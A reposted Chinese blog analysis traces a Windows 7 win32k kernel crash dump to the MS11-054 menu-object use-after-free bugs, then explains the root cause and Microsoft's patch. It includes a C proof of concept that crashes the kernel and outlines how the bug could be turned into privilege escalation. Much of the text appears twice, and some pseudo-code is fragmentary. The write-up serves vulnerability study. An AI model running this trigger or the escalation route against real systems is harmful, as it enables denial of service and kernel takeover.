从Dump到POC系列一:Win32k内核提权漏洞分析
2013-11-30 22:07
471 查看
转载自:http://blogs.360.cn/blog/dump-to-poc-to-win32k-kernel-privilege-escalation-vulnerability/
近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。
笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。
笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞,微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人TarjeiMandt(@kernelpool)报告的,相关的细节未被公开过。
虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。
首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)
而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:
从堆栈上可以看出是由NtUserTrackPopupMenuEx这个NT服务引发的问题,在调入封装的win32kxxxTrackPopupMenuEx函数后,进入xxxMNLoop->xxxEndMenuLoop->xxxMNDismiss->xxxMNCancel,最终进入了问题现场函数xxxDestoryWindow,这个函数顾名思义,是win32k销毁内核窗口对象的内部功能函数。
xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:
代码中最后一行即是发生空指针引用的地方,esi=0×00000000,esi的来源也一目了然,它是来自xxxDestoryWindow的第一个参数,即要被销毁的窗口pwnd指针。
这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:
可以看到,xxxDestoryWindow的参数来自dwordptr[esi+8],继续看下面的代码可知,esi来自xxxMNCancel的第一个参数,结构为tagPOPUPWND,这样我们可知被销毁的窗口对象指针来自tagPOPUPWND->spwndPopupMenu
分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。
通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针
对于Menu窗口对象,分配tagPOPUPMENU并填充到tagMENUWND的工作,是在xxxMenuWindowProc这个函数内,响应窗口创建时产生的WM_NCCREATE消息时完成的。
对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage->NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要,后面我们还会说到它。
通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:
从代码上我们可以看到(edi为窗口对象指针),处理例程首先判断tagWND附加数据(edi+标准窗口结构长度)的pPopupMenu对象指针是否为空,如果为空,那么就是用MNAllocPopup为Menu窗口对象创建pPopupMenu结构的内存空间(实际就是在Session内存池内分配内存并初始化结构),并将分配出来的pPopupMenu指针写入Menu窗口对象的附加数据中。
接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针。
我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个PopupMenu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程:
(1).创建Menu窗口对象:根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)
(2).分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)
(3).计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)
(4).进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到
(5).菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)
在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow,来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。
因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popupmenu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。
故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?
当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:
从代码上可以看出,当该例程接受一个MN_ENDMENU消息时,且menu状态是modelless的(通过menustate来判断),xxxMenuWindowProc就会调用xxxMNEndMenuState销毁线程的MenuState,同时也销毁和清空当前线程popupmenu相关的spwndPopupMenu对象。
也就是说,只要在TrackPopupMenuEx的流程(2)之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。
了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。
刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。
另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。
对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k共享内存中的全部窗口对象来实现?麻烦,又不通用。
思考了一段时间,笔者注意到了在流程(4)中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:
可以清楚地看到,在进入xxxMNLoop之前,通过xxxWindowEvent播放了一个EVENT_SYSTEM_MENUPOPUPSTART事件,而参数中,就有我们需要的,Menu窗口对象的指针pwndHierarchy,由于INCONTEXT的WindowEvent是同步调用的,而注册针对本线程的INCONTEXTWindowEventHook无须任何特权,因此我们这里就找到了一下解决两个难点的方法:
使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。
触发问题的另外一个小问题是,如何让MenuState标记为modelless的风格,这点通过公开的APISetMenuInfo就可以做到了。
如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:
笔者的测试系统环境:干净Win7X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD
测试代码如下(GUI程序):
当然,这里笔者给出的POC仅仅构造的是引发内核访问空指针后引发内核拒绝服务,而在实际利用中,因为在xxxMNLoop中会调用xxxSendMessage发送消息给对应的pwnd窗口对象,我们可以通过分配零页内存,伪造可进行攻击的pwnd结构来稳定地实现内核任意代码执行并进行权限提升,这里笔者就不公布具体的利用代码了。
有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。
这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:
xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):NullPointerDereference
xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):NullPointerDereference
xxxMNKeyFilter:NullPointerDereference
xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxCallHandleMenuMessages:UseAfterFreexxxTrackPopupMenuEx->xxxMNEndMenuState:UseAfterFree
涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。
最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7x86版本为6.1.7600.16830),微软增强了对于popupmenu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:
对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:
同时为了支持Lockpopupmenu机制,修改了tagPOPUPMENU结构,增加了flockDelayedFree标记,修改了tagTHREADINFO结构,增加了ppmlockFree链表。
在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32threadinfo(当前GUI线程相关结构)的LockDelayFree链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会UnlockPopupMenu,允许popupmenu被释放。
在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象
同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放机制,防止Use-After-Free问题。
修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决NullPointerDereference问题。
1.引言
近日有同事反馈给笔者一个win32k的蓝屏崩溃dump,说是在开发新的界面程序中遇到的。笔者在对拿到的Minidump进行分析后,发现这是win32k.sys在处理内核的menu窗口对象中的Use-After-Free/Null-Pointer-Dereference漏洞引发的。
笔者进行进一步分析后发现,这实际是一系列2011年已经修补的win32k漏洞,微软公告编号为MS11-054,涉及8个CVE(CVE-2011-1878~CVE-2011-1885),都是由当时在挪威安全公司Norman的内核漏洞达人TarjeiMandt(@kernelpool)报告的,相关的细节未被公开过。
虽然这些都是一年多以前已经修补的漏洞,但细节从未公开过,从了解内核安全问题和win32k内部机制的目的出发,笔者还是决定将此成文,由dump分析入手,到漏洞原理剖析,再到漏洞的重现利用手法,最后到分析漏洞的影响函数、修补方式等,完整重现“由dump到POC”的全过程。
2.Dump分析
首先我们打开崩溃的dump,windbg分析可知发生的Bugcheck是:KERNEL_MODE_EXCEPTION_NOT_HANDLED_M(未处理的内核异常)而异常代码是STATUS_ACCESS_VIOLATION(访问违例),出故障的地方位于win32k!xxxDestoryWindow+0×32,原因是访问了空指针,异常堆栈如下:
01 | kd> kb |
02 | ChildEBP RetAddrArgstoChild |
03 | 90a0fb78 95768a5c000000009584e480fe320168win32k!xxxDestroyWindow+0x32 |
04 | 90a0fbb8 95768d13000000010000000000000000win32k!xxxMNCancel+0x121 |
05 | 90a0fbd0 95769de69584e480fe52fdd89584e480win32k!xxxMNDismiss+0x12 |
06 | 90a0fbf0 9575fb939584e480fe3201689584e480win32k!xxxEndMenuLoop+0x23 |
07 | 90a0fc38 9576f71bfe3201689584e48000000000win32k!xxxMNLoop+0x3f5 |
08 | 90a0fca0 957658a50000008800004040000004e8win32k!xxxTrackPopupMenuEx+0x5cd |
09 | 90a0fd14 83c5f42a0002022500004040000004e8win32k!NtUserTrackPopupMenuEx+0xc3 |
10 | 90a0fd14 778b64f40002022500004040000004e8nt!KiFastCallEntry+0x12a |
xxxDestoryWindow的故障发生在刚刚进入函数的地方,原因很容易定位,我们来看xxxDestoryWindow的故障代码:
01 | kd> uxxxDestroyWindowxxxDestroyWindow+34 |
02 | win32k!xxxDestroyWindow: |
03 | 956d0915 8bffmovedi,edi |
04 | 956d0917 55pushebp |
05 | 956d0918 8becmovebp,esp |
06 | 956d091a 83ec34subesp,34h |
07 | 956d091d 53pushebx |
08 | 956d091e 8b1d58da8495movebx,dwordptr[win32k!gptiCurrent(9584da58)] |
09 | 956d0924 8b83b4000000moveax,dwordptr[ebx+0B4h] |
10 | 956d092a 56pushesi |
11 | 956d092b 8b7508movesi,dwordptr[ebp+8]//setesi |
12 | 956d092e 8945f0movdwordptr[ebp-10h],eax |
13 | 956d0931 57pushedi |
14 | 956d0932 8d45f0leaeax,[ebp-10h] |
15 | 956d0935 33ffxoredi,edi |
16 | 956d0937 8983b4000000movdwordptr[ebx+0B4h],eax |
17 | 956d093d 8975f4movdwordptr[ebp-0Ch],esi |
18 | 956d0940 3bf7cmpesi,edi |
19 | 956d0942 7403jewin32k!xxxDestroyWindow+0x32(956d0947) |
20 | 956d0944 ff4604incdwordptr[esi+4] |
21 | 956d0947 8b16movedx,dwordptr[esi]//esi=0x00000000 |
这么看,xxxDestoryWindow不是责任函数,那么应该是xxxMNCancel传入了空的pwnd指针导致的,我们再来看xxxMNCancel的实现,首先看看xxxMNCancel调用xxxDestoryWindow的附近代码:
1 | kd> ubxxxMNCancel+121L5 |
2 | win32k!xxxMNCancel+0x10f: |
3 | 95768a4a ff7608pushdwordptr[esi+8] |
4 | 95768a4d 6a07push7 |
5 | 95768a4f e8e962faffcallwin32k!xxxWindowEvent(9570ed3d) |
6 | 95768a54 ff7608pushdwordptr[esi+8] |
7 | 95768a57 e8b97ef6ffcallwin32k!xxxDestroyWindow(956d0915) |
01 | kd> uxxxMNCancella |
02 | win32k!xxxMNCancel: |
03 | 9576893b 8bffmovedi,edi |
04 | 9576893d 55pushebp |
05 | 9576893e 8becmovebp,esp |
06 | 95768940 83ec28subesp,28h |
07 | 95768943 53pushebx |
08 | 95768944 56pushesi |
09 | 95768945 57pushedi |
10 | 95768946 8b7d08movedi,dwordptr[ebp+8] |
11 | 95768949 8b37movesi,dwordptr[edi] |
12 | 9576894b 8b06moveax,dwordptr[esi] |
3.原理分析
分析相关的代码可知,spwndPopupMenu实际上是在PopupMenu对象中的指向其属于的Menu窗口对象的指针。为了理解为何这里会遇到空的Menu对象指针,我们首先研究下Menu/PopupMenu对象之间的关系和形成机理。通过研究win32k的内部机制可知,在win32k中,不同类型的窗口对象的扩展数据(WndExtra)是附加在标准窗口对象结构后面的,而对于Menu窗口对象(tagMENUWND结构),附加在其后的是指向其PopupMenu对象的指针(PPOPUPMENU,即tagPOPUPMENU结构),而我们这里遇到的spwndPopupMenu就是在tagPOPUPMENU结构中,指回其所属的Menu窗口对象的指针
1 | 0: kd>dttagPOPUPMENU-dspwndPopupMenu |
2 | win32k!tagPOPUPMENU |
3 | +0x008 spwndPopupMenu:Ptr32tagWND |
对于内核默认的窗口对象,系统会为其指定专门的内核窗口消息处理函数来实现特定的功能,而xxxMenuWindowProc就是专为响应Menu窗口对象的窗口消息的函数,当ring3代码调用SendMessage->NtUserMessageCall发送消息给Menu窗口,或者ring0调用xxxSendMessage发送消息给Menu窗口时,都会通过FNID函数封装后最终调用到这些内核处理函数。这个函数对于内核对Menu窗口对象的管理来说非常重要,后面我们还会说到它。
通过IDA反汇编xxxMenuWindowProc函数中对WM_NCCREATE消息的处理过程我们可以看到这一点:
01 | ProcWM_NCCREATE: ;CODEXREF:xxxMenuWindowProc(x,x,x,x)+179j |
02 |
03 | cmp dwordptr[edi+(sizetagWND)],0 |
04 | jnz loc_BF93F24A |
05 | push 1 |
06 | call _MNAllocPopup@4;MNAllocPopup(x) |
07 | test eax,eax |
08 | jz loc_BF93F24A |
09 | mov [edi+(sizetagWND)],eax |
10 | or [eax+tagPOPUPMENU.posSelectedItem],0FFFFFFFFh |
11 | lea ecx,[eax+tagPOPUPMENU.spwndPopupMenu] |
12 | mov edx,edi |
13 | call @HMAssignmentLock@8;HMAssignmentLock(x,x) |
接着,再使用HMAssignmentLock,带锁地将tagPOPUPMENU.spwndPopupMenu赋值为edi,即其从属的Menu窗口对象的指针。
我们再回头来看触发这个问题的函数:xxxTrackPopupMenuEx的工作原理,熟悉界面编程的朋友都知道这是用于弹出一个PopupMenu的函数,那么在内核中它是如何工作的呢,这里笔者简单列出一下大概的工作的流程:
(1).创建Menu窗口对象:根据HMENU等相关参数,创建最终弹出和展示的Menu窗口(通过xxxCreateWindowEx)
(2).分配和初始化当前线程的MenuState结构(xxxMNAllocMenuState)
(3).计算和设定Menu窗口的相关位置、属性等(通过FindBestPos/xxxSetWindowPos等)
(4).进入菜单循环,展示Menu并进入等待菜单选择的循环(xxxMNLoop),在进入循环前,会通过xxxWindowEvent来“播放”一个EVENT_SYSTEM_MENUPOPUPSTART的窗口事件,这个细节会在后面用到
(5).菜单被选择或取消,退出循环并销毁PopupMenu、Menu窗口对象和MenuState结构(xxxxxEndMenuLoop、xxxMNEndMenuState等)
在dump中,我们看到出问题的地方就在xxxMNLoop的过程中,当菜单选择被取消,xxxMNLoop会试图退出循环,调用xxxMNDismiss->xxxMNCancel来取消窗口的展现,而其中一个操作就是调用xxxDestoryWindow,来销毁pPopupMenu->spwndPopupMenu即Menu主窗口,而故障的原因就是这个指针已经被销毁并置Null了,由于销毁的代码并没有判断是否已经销毁而直接使用了指针,因此引发了崩溃。
因此,这个漏洞的本质就在于,相关的调用函数(本例中xxxTrackPopupMenuEx)没有检查对应的popupmenu结构是否已经被销毁或指针被清空了,仍然继续使用,同时在销毁和使用的代码之间(xxxMenuWindowProc与xxxTrackPopupMenuEx及其子函数),缺少有效的锁机制,导致了Use-After-Free或Null-Pointer-Dereference问题的发生。
4.重现POC
故障的基本原因清楚了,但还有一个问题是,如何Popup窗口循环结束前,让其保存的指针会被销毁呢?当然,仅仅通过dump我们已经无法明确究竟在这个Dump的场景之下,之前是哪个逻辑调用了销毁窗口对象的功能,但通过分析Menu相关的实现代码可知,销毁的可能场景有很多,而其中最常见的也最容易触发的,就是前面将到的xxxMenuWindowProc例程中,我们看看这个例程接受MN_ENDMENU这个消息的代码:
01 | ProcMN_ENDMENU: ;CODEXREF:xxxMenuWindowProc(x,x,x,x)+A1Bj |
02 |
03 | ; xxxMenuWindowProc(x,x,x,x)+A6Fj |
04 | ; DATAXREF:... |
05 |
06 | push [esi+tagMENUSTATE.pGlobalPopupMenu];jumptableBF93ED60 case 499 |
07 | push esi |
08 | call _xxxEndMenuLoop@8;xxxEndMenuLoop(x,x) |
09 | test dwordptr[esi+tagMENUSTATE._bf4],MENU_STATE_MODLE_LESS |
10 | jz loc_BF93F24A |
11 | push TRUE |
12 | call _xxxMNEndMenuState@4;xxxMNEndMenuState(x) |
13 | jmp loc_BF93F24A |
也就是说,只要在TrackPopupMenuEx的流程(2)之后,流程(4)结束之前,发送MN_ENDMENU消息给Menu窗口对象,就可以触发这个问题。
了解了整个逻辑触发的原理,接下来笔者就开始尝试构造代码,在ring3重现这个问题。
刚才已经提到,重现这个的关键点,也是难点在于,如何控制在流程2到流程4之间发送销毁消息。对于ring3程序来说,流程(1)~(5)都是在TrackPopupMenuEx这一个API的调用过程中发生完的。
另外一个难点是,我们要发送消息的Menu窗口对象是内部创建的,在TrackPopupMenu完成后就销毁了,并未输出出来供我们使用。
对于难点1,如何克服?通过多线程竞争条件实现么?存在成功率问题。对于难点2呢?通过在ring3分析win32k共享内存中的全部窗口对象来实现?麻烦,又不通用。
思考了一段时间,笔者注意到了在流程(4)中提到的那个WindowEvent的“播放”,我们看看xxxTrackPopupMenu进入xxxMNLoop之前,附近的代码实现:
01 | push ebx |
02 | push ebx |
03 | push OBJID_CLIENT |
04 | push [ebp+pwndHierarchy] |
05 | push EVENT_SYSTEM_MENUPOPUPSTART |
06 | call _xxxWindowEvent@20;xxxWindowEvent(x,x,x,x,x) |
07 | mov eax,[edi+tagMENUSTATE._bf4] |
08 | mov ecx,[ebp+var_1C] |
09 | push ebx |
10 | push ebx |
11 | and eax,0FFFFFFF7h |
12 | shl ecx,3 |
13 | push edi |
14 | or eax,ecx |
15 | push esi |
16 | mov [edi+4],eax |
17 | call |
使用SetWindowEventHook,注册针对本线程的、EVENT_SYSTEM_MENUPOPUPSTART事件的Hook,并在hook例程里直接发送窗口销毁消息。
触发问题的另外一个小问题是,如何让MenuState标记为modelless的风格,这点通过公开的APISetMenuInfo就可以做到了。
如上所说,所有的问题都解决了,那么写一个完整的程序实验一下吧:
笔者的测试系统环境:干净Win7X86,未补过KB2555917补丁(或在其后的针对win32k.sys的补丁),运行后即BSOD
测试代码如下(GUI程序):
01 | #define MN_ENDMENU0x1F3 |
02 |
03 | VOID CALLBACK WinEventProc(HWINEVENTHOOKhWinEventHook, DWORD event, HWND hwnd, LONG idObject, LONG idChild, DWORD idEventThread, DWORD dwmsEventTime) |
04 | { |
05 | SendMessage(hwnd ,MN_ENDMENU,0,0); |
06 |
07 | return ; |
08 | } |
09 |
10 | void xxxMenu() |
11 | { |
12 | HWND hwnd =GetForegroundWindow(); |
13 | HMENU hmenu =CreatePopupMenu(); |
14 | MENUINFO menuinfo; |
15 | CHAR name[4] = "AAA" ; |
16 | MENUITEMINFO item; |
17 |
18 | menuinfo.cbSize = sizeof (menuinfo); |
19 | menuinfo.fMask =MIM_STYLE; |
20 | menuinfo.dwStyle =MNS_MODELESS; |
21 |
22 | SetMenuInfo(hmenu ,&menuinfo); |
23 |
24 | item.cbSize = sizeof (item); |
25 | item.fMask =MIIM_STRING; |
26 | item.fType =MFT_STRING; |
27 | item.dwTypeData =name; |
28 | item.cch =4; |
29 |
30 | InsertMenuItem(hmenu ,0,FALSE,&item); |
31 |
32 | SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART , |
33 | EVENT_SYSTEM_MENUPOPUPSTART , |
34 | GetModuleHandle(NULL) , |
35 | WinEventProc , |
36 | GetCurrentProcessId(), |
37 | GetCurrentThreadId() , |
38 | WINEVENT_INCONTEXT); |
39 |
40 | TrackPopupMenuEx(hmenu ,0,0x100,0x100,hwnd,NULL); |
41 |
42 | return ; |
43 | } |
5.更深入的分析
有了稳定的触发方法后,我们就更容易深入地分析这个漏洞了,通过分析可以发现,xxxTrackPopupMenuEx/xxxMenuWindowProc中相当多的子函数调用都会触发menu或popupmenu窗口对象的问题。这里笔者简单列出一下之前的win32k.sys中存在同样或类似情况的函数及问题:
xxxTrackPopupMenuEx->xxxMNLoop…xxxMNCancel->xxxDestroyWindow(本文中蓝屏Dump发生的案例):NullPointerDereference
xxxMenuWindowProc(处理WM_SIZE或WM_MOVE消息的代码中):NullPointerDereference
xxxMNKeyFilter:NullPointerDereference
xxxMenuWindowProc->xxxMNDoubleClick(处理MN_DBLCLK消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxMNButtonDown(处理MN_BUTTONDOWN消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxMNDestroyHandler(处理WM_FINALDESTROY消息的代码中):UseAfterFree
xxxMenuWindowProc->xxxCallHandleMenuMessages:UseAfterFreexxxTrackPopupMenuEx->xxxMNEndMenuState:UseAfterFree
涉及的问题代码很多,因此在MS11-054中才会有这么多漏洞是属于这一个问题的。
最后,笔者想要探究是,微软在KB2555917中是如何修复这个问题的?解开这个补丁后分析升级的文件得知(分析目标是补丁版本的win32k.sys,win7x86版本为6.1.7600.16830),微软增强了对于popupmenu/MenuState对象的lock机制和延时释放机制,修正了空指针问题:
对xxxMenuWindowProc增加了一层封装,将过去的xxxMenuWindowProc函数封装成了xxxRealMenuWindowProc,在调用前后增加Locking/Unlocking处理,新的xxxMenuWindowProc部分伪代码如下:
1 | if ( !menuroot) |
2 | bIsLock =LockPopup(popupmenu); |
3 | ++pMenuState->dwLockCount; |
4 |
5 | xxxRealMenuWindowProc(( int )pwnd, HDC )wparam, int )pMenuState, fIsRecursedMenu); |
6 |
7 | if ( |
8 | UnlockPopup(popupmenu); |
在进入xxxRealMenuWindowProc前,会将PopupMenu加入到win32threadinfo(当前GUI线程相关结构)的LockDelayFree链表中,并将当前PopupMenu标记为DelayFree,在完成MenuWindowProc后才会UnlockPopupMenu,允许popupmenu被释放。
在线程退出调用xxxDestoryThreadInfo时,则会释放tagTHREADINFO链表中的所有PopupMenu对象
同时针对MenuState对象也增加了lock机制,对tagMENUSTATE增加了fMarkDestroy标记,并将xxxUnlockMenuState修改为对xxxUnlockMenuStateInternal的封装,并在其中实现了对fMarkDestroy的识别和延迟释放机制,防止Use-After-Free问题。
修正了若干xxxMNEndMenuState/xxxMNLoop等函数中空指针引用计数问题,解决NullPointerDereference问题。
相关文章推荐
- GNU/Linux程序崩溃分析框架漏洞导致内核提权风险
- CVE-XX-XX:“Atom截胡”Windows内核提权漏洞分析
- 重要预警 | Ubuntu 16.04 4.4 系列内核本地提权漏洞
- linux本地内核提权漏洞 Dirty COW 成因分析
- PWN2OWN 2017 Linux 内核提权漏洞分析
- CVE-2014-0038内核漏洞原理与本地提权利用代码实现分析 作者:seteuid0
- linux 内核源代码情景分析——Intel X86 CPU 系列的寻址方式
- Android adb setuid提权漏洞的分析
- DVWA系列之23 medium级别上传漏洞分析与利用
- PHPMailer 命令执行漏洞(CVE-2016-10033)分析(含通用POC)
- DVWA系列之14 文件包含漏洞分析
- Windows 内核漏洞 ms08025 分析
- redhat-kernel-kdump-crash----内核dump文件分析
- CVE-2014-3153浅析-android内核提权漏洞
- (CVE-2016-0728)Linux Keyring refcount 内核提权漏洞
- OS: 脏牛(Dirty COW)漏洞:Linux 内核通杀提权漏洞 (CVE-2016-5195)
- Samba漏洞(CVE-2015-0240)poc分析
- Android adb setuid提权漏洞的分析(转)
- Linux-0.11内核源码分析系列:内存管理get_free_page()函数分析
- Linux-0.11内核源码分析系列:进程调度